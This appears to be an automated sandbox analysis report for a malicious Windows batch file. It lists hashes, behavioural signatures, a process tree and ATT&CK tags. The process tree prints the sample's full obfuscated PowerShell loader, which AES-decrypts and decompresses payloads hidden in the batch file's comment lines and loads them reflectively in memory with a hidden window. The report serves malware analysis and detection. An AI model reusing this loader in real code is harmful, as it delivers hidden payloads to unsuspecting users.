ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
23/08/2024, 02:30

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General

Target

ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat
Size

275KB
MD5

536ac91b5fe6a53fd85f5d7b609dc591
SHA1

5fb565c1bec3e386642e921c34ea365fbcb07127
SHA256

ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9
SHA512

b47aeba5a1abdcd8b1b6ba67663fb199fca22a21c1417aa830d042268f6c810b9abf246b964d7dc76497b009f8d54e77c1b0f38e5c775097b9fa15dbd19b748f
SSDEEP

6144:h1E5NlqQRcu+pHfFQS7w1bUyntarmxcGqKxH1279F:h1E5qz9H9T7w1bUotqgRH+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2344	3036	cmd.exe	32
PID 3036 wrote to memory of 2344	3036	cmd.exe	32
PID 3036 wrote to memory of 2344	3036	cmd.exe	32
PID 2344 wrote to memory of 2328	2344	net.exe	33
PID 2344 wrote to memory of 2328	2344	net.exe	33
PID 2344 wrote to memory of 2328	2344	net.exe	33
PID 3036 wrote to memory of 2460	3036	cmd.exe	34
PID 3036 wrote to memory of 2460	3036	cmd.exe	34
PID 3036 wrote to memory of 2460	3036	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\Admin\AppData\Local\Temp\ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2460-4-0x000007FEF645E000-0x000007FEF645F000-memory.dmp

Filesize
4KB

Download
memory/2460-5-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2460-7-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2460-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2460-10-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2460-9-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2460-8-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2460-11-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2460-12-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download